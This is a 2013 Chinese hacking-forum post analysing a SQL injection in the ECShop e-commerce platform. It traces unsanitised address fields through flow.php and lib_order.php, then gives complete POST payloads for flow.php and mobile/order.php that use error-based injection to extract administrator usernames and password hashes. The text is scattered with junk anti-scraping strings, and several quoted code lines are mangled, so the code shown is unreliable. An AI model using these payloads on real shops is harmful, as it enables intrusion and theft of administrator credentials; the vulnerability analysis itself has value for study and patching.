找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2163|回复: 0
打印 上一主题 下一主题

ecshop全版本注入分析

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-13 09:48:03 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
5 i. Y( W4 v+ x! @& D3 C! u" u) e2 A& b
    漏洞关键文件:6 z, v/ [: E6 V" v) T4 x8 J7 J

( \" S7 d7 t. \6 k" Q3 `3 c    /includes/lib_order.php5 D- ]3 x) c& E$ t3 p+ ^

: Y: Y7 t8 r$ ]" B1 Z; \; c6 A    关键函数:! q3 m- q) T5 K4 y/ f
) e9 M2 \% H4 |$ t& _6 r
  O7 n5 C( `/ f9 E! T" I
7 L6 g0 M3 U: Q" e: Y/ E1 V+ |; P5 m
01     function available_shipping_list($region_id_list)
  K8 A" Q; R1 v) E. e" L! o$ j4 n; P; O& Q4 X* l6 D
02 {
$ ~) Y. F5 `- `! I0 D0 `( u5 H9 U# u# h2 X& z" `5 _
03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . ( H( P7 h7 N$ _5 e2 F4 [. q  V1 g  d

/ A6 k* l( z  s5 c6 H2 F04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' . 7 _, P) _3 O# U9 _, h
& h9 Y: [" K# a8 l
05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
  [5 f( \; s6 K/ S$ U. I. y( R1 X1 P9 U- T
06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . ( w5 ~- a1 c& m' T

1 e. C0 T) J) Y4 ?! I3 c07                 $GLOBALS['ecs']->table('area_region') . ' AS r '. # I6 k' R3 G; {  J5 d

5 ~* \+ p, Y* x# R$ r) [- `* `08             'WHERE r.region_id ' . db_create_in($region_id_list) . 1 `0 o8 N5 u! S" \5 L& p
+ [5 C/ [! q+ l
09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
' t: U; q! _' {0 e: i8 \
( X- M! [8 {2 M9 S10   0 ?8 Q7 R* b  z

  \. B( y7 M2 N' p; h% a7 e' o11     return $GLOBALS['db']->getAll($sql);
8 x: Z. C3 `0 E, A4 t2 }5 }" w+ f" f- e0 \
12 } 2 ^- u$ y) j$ |; b
7 U- L' c( U6 w- L6 d
显然对传入的参数没有任何过滤就带入了查询语句。# f/ k; K% L5 G  l, m* u! e
$ @/ P( X# ?4 S6 F6 N3 G# F
下面我们追踪这个函数在flow.php中:
/ B* n$ K4 p' K6 p. w1 r, d' H 第531行:   ! A* a3 k, Z/ H( i
8 N& Q' n* c7 x% @# Q9 q4 L3 `
1 $shipping_list     = available_shipping_list($region);
- @; C" _9 t) U5 w0 z$ F
9 t4 g; e- U5 }4 c  D1 a$ B1 P
( }" R# q' Y( y+ v( _) Y( n/ V( c- t2 t1 d9 i8 n4 w  a

" i+ q; [$ D, j9 f! {
' j/ F* E( g. u再对传入变量进行追踪:+ V: O7 G/ k' d5 R1 `" l/ ?

- R7 \. P2 _) c3 Q第530行:    & s+ C' K$ A) x4 ~7 i" W. w

/ \# V6 G: `+ m7 v5 o9 H  W! J1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
' r, d" u1 J5 j& P$ u  ]) s% O! f2 z+ [9 l3 S9 ?4 ~0 T/ f2 D0 N' V
. y' S, H/ i- ?3 z
- b. o$ V: ^1 K- Y% _0 |7 `; s) M! p# U
2 w* l6 M  t4 Z; }" g5 n" _

9 T. F9 u% Q  E5 a第473行:        ) ?: Z, ~% Y  L- [# h
4 P5 D- {' c. T( n
1 $consignee = get_consignee($_SESSION['user_id']);
- t$ C) B/ Y6 J5 d' p
3 a$ H6 L6 r- E) o' a, b到了一个关键函数:; ^4 _+ O9 e4 n" R4 k

; j  S( y0 K- P2 ]9 h  h# ^/includes/lib_order.php
) V5 x) H: r- p2 g! E0 w6 P3 v# e/ [% a' B7 b  L3 M
: z- {! u) `8 P5 [0 u

, L; C2 R: P7 C  f9 U+ g$ v- d3 ? 3 U5 `5 U) D0 h7 x

3 u  G( k/ M: c. j1 n01 function get_consignee($user_id) 7 [$ k! w9 \) m- _
9 d/ N; a) E2 _  H( p
02 { + @3 ]% e) S5 H1 q5 ^/ u2 w

8 {9 X9 h' B$ D- Q: ?  Y, ~* o, P03     if (isset($_SESSION['flow_consignee']))
1 J9 q, d$ a9 t5 @
+ w# _8 M  j( f* N+ `3 W04     {
2 `, O5 P3 O. S( M4 j" l" B' x
/ I7 K' R( O0 s; Z05         /* 如果存在session,则直接返回session中的收货人信息 */
* z8 h% b& Z2 R- a2 K( y
+ i/ r4 P/ f1 M: w* j! W6 `06   # c. ^1 I# r( }. Q
5 n3 D7 @$ I6 N" F4 [8 Q- j
07         return $_SESSION['flow_consignee']; 1 ^3 q/ y, t$ H% l

' [  H! F# s9 H( _' k08     } 6 Q1 `# c3 e& w. `! o# H

+ n8 b! \( V2 P( o( ]- Y09     else
9 H; Q4 M( S3 E: ]2 F8 ^) h7 t; P% I3 w% _
10     {
8 ]7 U0 k2 n8 t1 ~4 ?9 U- a
- ]4 c/ s+ R' @8 ~6 x% E11         /* 如果不存在,则取得用户的默认收货人信息 */
1 w" n* ^' t2 g1 ~/ J% O+ r4 {( k6 h6 D1 f
12         $arr = array(); 4 V7 T) ~0 p! L* u
4 W: a* b! a/ `  N$ P+ z
13   
8 X: L7 y/ t4 H- K( J! u" H( H( t$ V+ I' g4 ]
14         if ($user_id > 0) 1 K5 {* _1 J. h8 D3 F: N
5 M" F0 |' E7 R2 g% [$ O5 p
15         { / E+ H& P! P) B$ E# ~
+ z% m3 S5 q; \& t% q* G
16             /* 取默认地址 */ . m; g. L3 M; K* Z' O1 T; B0 L

5 t+ z' G6 ?8 H( G# n% I17             $sql = "SELECT ua.*".
3 G! U. M& F% d4 w
& F* t2 Y% s( }" ]18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
* ^) n3 U, W$ |5 J0 P* b2 b, z1 n) Y
19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; ; j, N3 @# o2 ?, q4 y

: L/ g4 R& o2 y0 ~2 }3 b: P20   
9 z5 m4 p  b# h& n# |0 ]. e
& S6 ]1 M+ ?7 X+ s21             $arr = $GLOBALS['db']->getRow($sql); ( e( ]7 f/ S* V8 b4 `2 n! t5 G( [
8 j3 Y7 A% D8 q. V
22         }   U$ `4 b2 c$ r; g, V7 M7 r' Z
# u, o* [3 b/ B+ P$ S
23   
9 t4 y( w/ o7 g4 w% ]6 ~  y- Y* H  ]
4 J& b# h: q( S) t! J24         return $arr; 8 F. W# H! a& |% L% ?/ N2 V9 F

/ w2 h3 i( \3 [# b4 ^25     }
- f7 O2 ?% a! t/ I
2 C: }3 L6 T% w' h9 {- v% c/ f26 }
6 p; Y8 |: u! l6 x0 R+ D8 H4 [7 l! F2 A, u8 s1 g
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?# p) U& `5 h' `) i- F  `

9 T4 V0 r. u' n: m) ]; Z( ?7 Q# X% r
8 U8 E4 j1 E8 H: T9 q# ~5 u& S3 b# X4 W" |* V5 i
关键点:& {$ x9 k" \/ n' V  ~% A9 z

4 l8 K9 O4 ?# F5 v第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
9 y2 T  g+ f" q' F
- l& u1 ?: V8 L6 ^0 T4 I+ g8 i- b& q这里对传入参数反转义存入$_SESSION中。& u" a8 A1 h' p0 }
2 l9 }# N7 c9 X& S. v
1 W4 H0 C# e- `- p: t$ w; }! A
' G% j5 r) j+ g/ H( F8 k) B
然后看下:
/ e# U. w. D9 k: e" a3 S! |
3 J, q( ]8 E! @& y , N1 L- a# @4 |- I
5 E4 b+ w: Q+ H8 X, E# M4 G# M6 Y6 y$ z
   
# y- |# L8 ~- `" Z0 R8 U0 @; [! ~& s/ S) \! D9 W" _" m4 ~
01 $consignee = array(
; i8 p/ n+ f- ]( F- `; x# u8 o. m" V0 i1 N! \" S; `
02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']), $ b# E0 d9 n9 x0 \
: [3 m8 B/ T5 y1 K: A; C
03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']), 0 R6 {' ^3 K3 H7 g6 J

( }% e# K' ~3 G- Z3 n; \( [  F04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
8 q, Q' A0 A$ {. W$ H! K
+ ?6 v- M4 G0 G* M05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
: p; ?3 Y1 J0 q6 K/ J. S1 p: D9 k% K! |
06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
& G/ h" ]1 G( U8 i$ L, }, T. N
  F, J) O; Q3 ~- B07         'district'      => empty($_POST['district'])   ? '' _POST['district'], * R4 @, v; g9 n
% ]* `7 B% n& P( i
08         'email'         => empty($_POST['email'])      ? '' _POST['email'], 4 C* Z! Y" B- a: ~- t
4 z6 Y" W6 U- M8 R9 E$ r6 J
09         'address'       => empty($_POST['address'])    ? '' _POST['address'], 5 b3 T% J' C+ ]4 f
8 P* `7 q0 O9 q+ h
10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),
+ n9 n+ V4 v/ S% v( A0 R, E8 A- u$ V) _
11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])), $ M. r" l" [, ]( ^) N0 V
, o( J: l3 i2 s2 a- s' ^  f8 }1 `& t
12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])), ( k  S& I0 s; h1 _
! R# p. |  @6 E  a$ C& M+ }
13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
& D  u2 E. c" y, H6 K4 V  s8 n
14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'], ' q2 c! X8 m& C. C+ b
+ x& V/ `/ O4 G& C' u
15     ); 5 S8 `1 }$ m$ h" O' }0 C; i
, \, s8 Q9 x" O$ g6 A! e# `" k
好了注入就这样出现了。
/ r9 N5 ?- l( A9 h* X7 S2 a, O7 {3 Z( _" }; h
==================
4 P( w2 j) ]% q: |! `( w+ G! M$ }+ y0 T
注入测试:* ^/ V0 K( m! ]$ {2 v4 k

* O, z# S8 p/ R( g$ p: N# Z0 P环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
5 o! I: V& p3 \4 L; H8 e
7 ^/ F! m3 s8 ^$ z测试程序:ECShop_V2.7.3_UTF8_release11066 J: K; \# G, U7 v$ `

  S0 M: o$ V5 u) U5 l6 @! }( a 7 Q) a8 W3 _) \5 @

+ ?+ L2 y8 U' B- P- t1.首先需要点击一个商品加入购物车6 @" v1 k- n/ h' }7 M" M/ Z6 M
$ \% u+ c4 e  v7 s! E
2.注册一个会员帐号8 C, V. z6 r$ f9 b; q( R
" O' b  p; _. J2 G7 h
3.post提交数据1 k6 P! Q" b( o- G5 a0 O

2 M# ~  e# R6 p
6 h  l. F* i! A' }' B$ j$ o: z5 ?% M: V4 x' w" m. X6 u1 f
1 http://127.0.0.1/ecshop/flow.php 5 w9 l0 ]) ]- U! x% ?% L- ~7 I

  C$ h+ p8 B4 P3 }" K2   2 R% x+ |7 E& S5 u6 ~9 G

6 B  p+ ^+ n4 u; \3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= / P3 i: }! [9 S9 G
举一反三,我们根据这个漏洞我们可以继续深入挖掘:7 H' e) I0 q5 M8 X. |
9 I+ I% T$ @) E+ t
我们搜寻关键函数function available_shipping_list()
& Y7 e, m! ]' \8 C7 F7 m' N1 @/ r
& d* o. G& {" I9 n1 p: A! a0 L在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
: Q3 B4 M4 }$ m9 b2 B
# x+ t! c" u. M( e利用exp:
0 ~* t' E1 t5 I6 g; p1 }
8 ^7 k7 c+ d5 e1.点击一个商品,点击购买商标7 |/ ~# r9 z2 h7 E5 ^. R
: p: |8 r" U/ y* O5 X7 n- T; T
2.登录会员帐号
  a* K* T  z, {# r6 I" t3 r- E, [% {$ k' X6 {; R) c
3.post提交:! ^( @0 Z/ r6 l3 D) y! |
+ {) {9 w) N- G" \5 m
http://127.0.0.1/ecshop/mobile/order.php
% J2 c3 F2 P5 _# e# Z( a8 o" q% j$ Q% f2 ^/ n% d
2 z& l8 b* J! l8 o: d7 D, h1 @

+ _1 d- @$ r0 k; S: c" Ccountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=% Z! I  }. g, M" V, o1 E5 x

$ `, G/ E9 n4 F& h- P
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表